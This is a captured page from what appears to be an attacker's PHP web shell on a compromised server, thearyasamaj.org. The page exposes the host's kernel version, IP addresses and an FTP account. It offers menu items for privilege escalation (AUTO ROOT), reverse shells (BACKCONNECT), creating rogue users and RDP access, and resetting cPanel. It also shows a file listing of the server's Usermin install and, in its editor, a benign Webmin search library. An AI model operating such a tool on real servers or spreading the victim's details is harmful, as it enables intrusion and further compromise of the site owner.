Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
[ HOME SHELL ]
Name
Size
Permission
Action
JSON
[ DIR ]
drwxr-xr-x
WebminUI
[ DIR ]
drwxr-xr-x
at
[ DIR ]
drwxr-xr-x
authentic-theme
[ DIR ]
drwxr-xr-x
blue-theme
[ DIR ]
drwxr-xr-x
changepass
[ DIR ]
drwxr-xr-x
chfn
[ DIR ]
drwxr-xr-x
commands
[ DIR ]
drwxr-xr-x
cron
[ DIR ]
drwxr-xr-x
cshrc
[ DIR ]
drwxr-xr-x
fetchmail
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
filemin
[ DIR ]
drwxr-xr-x
filter
[ DIR ]
drwxr-xr-x
forward
[ DIR ]
drwxr-xr-x
gnupg
[ DIR ]
drwxr-xr-x
gray-theme
[ DIR ]
drwxr-xr-x
htaccess
[ DIR ]
drwxr-xr-x
htaccess-htpasswd
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mailbox
[ DIR ]
drwxr-xr-x
mailcap
[ DIR ]
drwxr-xr-x
man
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
plan
[ DIR ]
drwxr-xr-x
postgresql
[ DIR ]
drwxr-xr-x
proc
[ DIR ]
drwxr-xr-x
procmail
[ DIR ]
drwxr-xr-x
quota
[ DIR ]
drwxr-xr-x
schedule
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
spam
[ DIR ]
drwxr-xr-x
ssh
[ DIR ]
drwxr-xr-x
telnet
[ DIR ]
drwxr-xr-x
theme
[ DIR ]
drwxr-xr-x
tunnel
[ DIR ]
drwxr-xr-x
twofactor
[ DIR ]
drwxr-xr-x
ulang
[ DIR ]
drwxr-xr-x
updown
[ DIR ]
drwxr-xr-x
usermount
[ DIR ]
drwxr-xr-x
LICENCE
1.48
KB
-rw-r--r--
LICENCE.ja
1.62
KB
-rw-r--r--
README
1.93
KB
-rw-r--r--
WebminCore.pm
7.65
KB
-rw-r--r--
acl_security.pl
2.89
KB
-rwxr-xr-x
chooser.cgi
7.21
KB
-rwxr-xr-x
config-aix
227
B
-rw-r--r--
config-cobalt-linux
264
B
-rw-r--r--
config-coherent-linux
264
B
-rw-r--r--
config-corel-linux
264
B
-rw-r--r--
config-debian-linux
264
B
-rw-r--r--
config-freebsd
256
B
-rw-r--r--
config-generic-linux
264
B
-rw-r--r--
config-gentoo-linux
264
B
-rw-r--r--
config-hpux
243
B
-rw-r--r--
config-irix
284
B
-rw-r--r--
config-lib.pl
10.83
KB
-rwxr-xr-x
config-macos
260
B
-rw-r--r--
config-mandrake-linux
278
B
-rw-r--r--
config-msc-linux
264
B
-rw-r--r--
config-netbsd
283
B
-rw-r--r--
config-open-linux
264
B
-rw-r--r--
config-openbsd
241
B
-rw-r--r--
config-openmamba-linux
264
B
-rw-r--r--
config-openserver
236
B
-rw-r--r--
config-osf1
266
B
-rw-r--r--
config-redhat-linux
264
B
-rw-r--r--
config-slackware-linux
280
B
-rw-r--r--
config-sol-linux
264
B
-rw-r--r--
config-solaris
417
B
-rw-r--r--
config-suse-linux
264
B
-rw-r--r--
config-trustix-linux
264
B
-rw-r--r--
config-turbo-linux
264
B
-rw-r--r--
config-united-linux
264
B
-rw-r--r--
config-unixware
286
B
-rw-r--r--
copyconfig.pl
4.33
KB
-rwxr-xr-x
date_chooser.cgi
2.19
KB
-rwxr-xr-x
defaultacl
98
B
-rw-r--r--
defaulttheme
16
B
-rw-r--r--
entities_map.txt
1.47
KB
-rw-r--r--
favicon.ico
14.73
KB
-rw-r--r--
feedback.cgi
6.37
KB
-rwxr-xr-x
feedback_form.cgi
3.45
KB
-rwxr-xr-x
group_chooser.cgi
7.36
KB
-rwxr-xr-x
help.cgi
2.06
KB
-rwxr-xr-x
index.cgi
5.55
KB
-rwxr-xr-x
install-module.pl
1.27
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
javascript-lib.pl
14.69
KB
-rwxr-xr-x
lang_list.txt
3.41
KB
-rw-r--r--
maketemp.pl
424
B
-rwxr-xr-x
mime.types
12.42
KB
-rw-r--r--
miniserv.pem
974
B
-rw-r--r--
miniserv.pl
171.07
KB
-rwxr-xr-x
newmods.pl
1.25
KB
-rwxr-xr-x
os_list.txt
33.58
KB
-rw-r--r--
oschooser.pl
4.55
KB
-rwxr-xr-x
pam_login.cgi
2.65
KB
-rwxr-xr-x
password_change.cgi
7
KB
-rwxr-xr-x
password_form.cgi
1.3
KB
-rwxr-xr-x
perlpath.pl
571
B
-rwxr-xr-x
robots.txt
26
B
-rw-r--r--
rpm-name
8
B
-rw-r--r--
session_login.cgi
3.35
KB
-rwxr-xr-x
setup.sh
24.78
KB
-rwxr-xr-x
switch_user.cgi
404
B
-rwxr-xr-x
thirdparty.pl
1.73
KB
-rwxr-xr-x
uconfig.cgi
1.39
KB
-rwxr-xr-x
uconfig_save.cgi
1.46
KB
-rwxr-xr-x
ui-lib.pl
82.48
KB
-rwxr-xr-x
update-from-repo.sh
14.8
KB
-rwxr-xr-x
updateboot.pl
1.89
KB
-rwxr-xr-x
uptracker.cgi
2.88
KB
-rwxr-xr-x
user_chooser.cgi
7.29
KB
-rwxr-xr-x
usermin-debian-pam
104
B
-rw-r--r--
usermin-init
1.88
KB
-rwxr-xr-x
usermin-pam
101
B
-rw-r--r--
usermin-pam-osx
243
B
-rw-r--r--
usermin-systemd
352
B
-rw-r--r--
version
6
B
-rw-r--r--
web-lib-funcs.pl
328.14
KB
-rwxr-xr-x
web-lib.pl
907
B
-rwxr-xr-x
webmin-search-lib.pl
8.93
KB
-rwxr-xr-x
webmin_search.cgi
2.63
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : webmin-search-lib.pl
# Functions for searching the webmin docs and UI =head2 search_webmin(phrase, [callback-function], [&modules]) Searches all Webmin help pages, UI text, module names and config.info files for entries matching the given phrase or word. Returns them sorted by relevance order, each as a hash ref with the following keys : =item mod - A module hash reference for the module the search result was in =item rank - A result ranking, higher being better =item type - One of mod (for module name), dir (for module directory), config (configuration setting), help (help page) or text (UI text) =item text - The text that matched =items cgis - An array ref of pages on which the text appears, each formatted like module/script.cgi =cut sub search_webmin { my ($re, $cbfunc, $onlymods) = @_; # Work out this Webmin's URL base my $urlhost = $ENV{'HTTP_HOST'}; if ($urlhost !~ /:/) { $urlhost .= ":".$ENV{'SERVER_PORT'}; } my $urlbase = ($ENV{'HTTPS'} eq 'ON' ? 'https://' : 'http://').$urlhost; # Search module names and add to results list my @rv = ( ); my $pn = &get_product_name(); my @mods; if ($onlymods) { # Modules specified by caller @mods = grep { &foreign_available($_->{'dir'}) } @$onlymods; } else { # All reasonable modules @mods = &get_available_module_infos(); } @mods = grep { !$_->{'clone'} && !$_->{'hidden'} } grep { !$_->{'noui'} && !$_->{$pn.'_noui'} } @mods; @mods = sort { $b->{'longdesc'} cmp $a->{'longdesc'} } @mods; foreach my $m (@mods) { if ($m->{'desc'} =~ /\Q$re\E/i) { # Module description match push(@rv, { 'mod' => $m, 'rank' => 10, 'type' => 'mod', 'link' => $m->{'dir'}.'/', 'text' => $m->{'desc'} }); } elsif ($m->{'longdesc'} =~ /\Q$re\E/i) { # Module long description match push(@rv, { 'mod' => $m, 'rank' => 9.5, 'type' => 'mod', 'link' => $m->{'dir'}.'/', 'text' => $m->{'longdesc'} }); } elsif ($m->{'dir'} =~ /\Q$re\E/i) { # Module directory match push(@rv, { 'mod' => $m, 'rank' => 9, 'type' => 'dir', 'link' => $m->{'dir'}.'/', 'text' => $urlbase."/".$m->{'dir'}."/" }); } &$cbfunc() if ($cbfunc); } # Search module configs and their help pages foreach my $m (@mods) { my %access = &get_module_acl(undef, $m); next if ($access{'noconfig'}); my $file = $prod eq 'webmin' ? "$m->{'dir'}/config.info" : "$m->{'dir'}/uconfig.info"; my %info = ( ); my @info_order = ( ); &read_file($file, \%info, \@info_order); foreach my $o (@lang_order_list) { &read_file("$file.$o", \%info); } my $section = undef; foreach my $c (@info_order) { my @p = split(/,/, $info{$c}); if ($p[1] == 11) { $section = $c; } if ($p[0] =~ /\Q$re\E/i) { # Config description matches push(@rv, { 'mod' => $m, 'rank' => 8, 'type' => 'config', 'link' => "/config.cgi?module=$m->{'dir'}&". "section=".&urlize($section)."#$c", 'text' => $p[0], }); } my $hfl = &help_file($mod->{'dir'}, "config_".$c); my ($title, $help) = &help_file_match($hfl); if ($help) { # Config help matches push(@rv, { 'mod' => $m, 'rank' => 6, 'type' => 'help', 'link' => "/help.cgi/$m->{'dir'}/config_".$c, 'desc' => &text('wsearch_helpfor', $p[0]), 'text' => $help, 'cgis' => [ "/config.cgi?". "module=$m->{'dir'}§ion=". &urlize($section)."#$c" ], }); } } &$cbfunc() if ($cbfunc); } # Search other help pages my %lang_order_list = map { $_, 1 } @lang_order_list; foreach my $m (@mods) { my $helpdir = &module_root_directory($m->{'dir'})."/help"; my %donepage = ( ); opendir(DIR, $helpdir); foreach my $f (sort { length($b) <=> length($a) } readdir(DIR)) { next if ($f =~ /^config_/); # For config help, already done # Work out if we should grep this help page - don't do the same # page twice for different languages my $grep = 0; my ($page, $lang); if ($f =~ /^(\S+)\.([^\.]+)\.html$/) { ($page, $lang) = ($1, $2); if ($lang_order_list{$lang} && !$donepage{$page}++) { $grep = 1; } } elsif ($f =~ /^(\S+)\.html$/) { $page = $1; if (!$donepage{$page}++) { $grep = 1; } } # If yes, search it if ($grep) { my ($title, $help) = &help_file_match("$helpdir/$f"); if ($title) { my @cgis = &find_cgi_text( [ "hlink\\(.*'$page'", "hlink\\(.*\"$page\"", "header\\([^,]+,[^,]+,[^,]+,\\s*\"$page\"", "header\\([^,]+,[^,]+,[^,]+,\\s*'$page'", ], $m, 1); push(@rv, { 'mod' => $m, 'rank' => 6, 'type' => 'help', 'link' => "/help.cgi/$m->{'dir'}/$page", 'desc' => $title, 'text' => $help, 'cgis' => \@cgis }); } } &$cbfunc() if ($cbfunc); } closedir(DIR); } # Then do text strings my %gtext = &load_language(""); MODULE: foreach my $m (@mods) { my %mtext = &load_language($m->{'dir'}); foreach my $k (keys %mtext) { next if ($gtext{$k}); # Skip repeated global strings $mtext{$k} =~ s/\$[0-9]//g; if ($mtext{$k} =~ /\Q$re\E/i) { # Find CGIs that use this text my @cgis = &find_cgi_text( [ "\$text{'$k'}", "\$text{\"$k\"}", "\$text{$k}", "&text('$k'", "&text(\"$k\"" ], $m); if (@cgis) { push(@rv, { 'mod' => $m, 'rank' => 4, 'type' => 'text', 'text' => $mtext{$k}, 'cgis' => \@cgis }); } } } &$cbfunc() if ($cbfunc); } # Sort results by relevancy # XXX can do better? @rv = sort { $b->{'rank'} <=> $a->{'rank'} || lc($a->{'mod'}->{'desc'}) cmp lc($b->{'mod'}->{'desc'}) } @rv; return @rv; } # highlight_text(text, [length]) # Returns text with the search term bolded, and truncated to 50 characters sub highlight_text { local ($str, $len) = @_; $len ||= 50; local $hlen = $len / 2; $str =~ s/<[^>]*>//g; if ($str =~ /(.*)(\Q$re\E)(.*)/i) { local ($before, $match, $after) = ($1, $2, $3); if (length($before) > $hlen) { $before = "...".substr($before, length($before)-$hlen); } if (length($after) > $hlen) { $after = substr($after, 0, $hlen)."..."; } $str = $before."<b>".&html_escape($match)."</b>".$after; } return $str; } # find_cgi_text(®exps, module, re-mode) # Returns the relative URLs of CGIs that matches some regexps, in the given # module. Does not include those that don't call some header function, as # they cannot be linked to normally sub find_cgi_text { local ($res, $m, $remode) = @_; local $mdir = &module_root_directory($m); local @rv; foreach my $f (glob("$mdir/*.cgi")) { local $found = 0; local $header = 0; open(CGI, "<".$f); LINE: while(my $line = <CGI>) { if ($line =~ /(header|ui_print_header|ui_print_unbuffered_header)\(/) { $header++; } foreach my $r (@$res) { if (!$remode && index($line, $r) >= 0 || $remode && $line =~ /$r/) { $found++; last LINE; } } } close(CGI); if ($found && $header) { local $url = $f; $url =~ s/^\Q$root_directory\E\///; push(@rv, $url); } } return @rv; } # help_file_match(file) # Returns the title if some help file matches the current search sub help_file_match { local ($f) = @_; local $data = &read_file_contents($f); local $title; if ($data =~ /<header>([^<]*)<\/header>/) { $title = $1; } $data =~ s/\s+/ /g; $data =~ s/<p>/\n\n/gi; $data =~ s/<br>/\n/gi; $data =~ s/<[^>]+>//g; if ($data =~ /\Q$re\E/i) { return ($title, $data); } return ( ); } # cgi_page_title(module, cgi) # Given a CGI, return the text for its page title, if possible sub cgi_page_title { local ($m, $cgi) = @_; local $data = &read_file_contents(&module_root_directory($m)."/".$cgi); local $rv; if ($data =~ /(ui_print_header|ui_print_unbuffered_header)\([^,]+,[^,]*(\$text\{'([^']+)'|\$text\{"([^"]+)"|\&text\('([^']+)'|\&text\("([^"]+)")/) { # New header function, with arg before title local $msg = $3 || $4 || $5 || $6; local %mtext = &load_language($m); $rv = $mtext{$msg}; } elsif ($data =~ /(^|\s|mail_page_)header\(\s*(\$text\{'([^']+)'|\$text\{"([^"]+)"|\&text\('([^']+)'|\&text\("([^"]+)")/) { # Old header function local $msg = $3 || $4 || $5 || $6; local %mtext = &load_language($m); $rv = $mtext{$msg}; } if ($cgi eq "index.cgi" && !$rv) { # If no title was found for an index.cgi, use module title local %minfo = &get_module_info($m); $rv = $minfo{'desc'}; } return $rv; } # cgi_page_args(module, cgi) # Given a module and CGI name, returns a string of URL parameters that can be # used for linking to it. Returns "none" if parameters are needed, but cannot # be determined. sub cgi_page_args { local ($m, $cgi) = @_; local $mroot = &module_root_directory($m); if (-r "$mroot/cgi_args.pl") { # Module can tell us what args to use &foreign_require($m, "cgi_args.pl"); $args = &foreign_call($m, "cgi_args", $cgi); if (defined($args)) { return $args; } } if ($cgi eq "index.cgi") { # Index page is always safe to link to return undef; } # Otherwise check if it appears to parse any args local $data = &read_file_contents($mroot."/".$cgi); if ($data =~ /(ReadParse|ReadParseMime)\(/) { return "none"; } return undef; } 1;
Close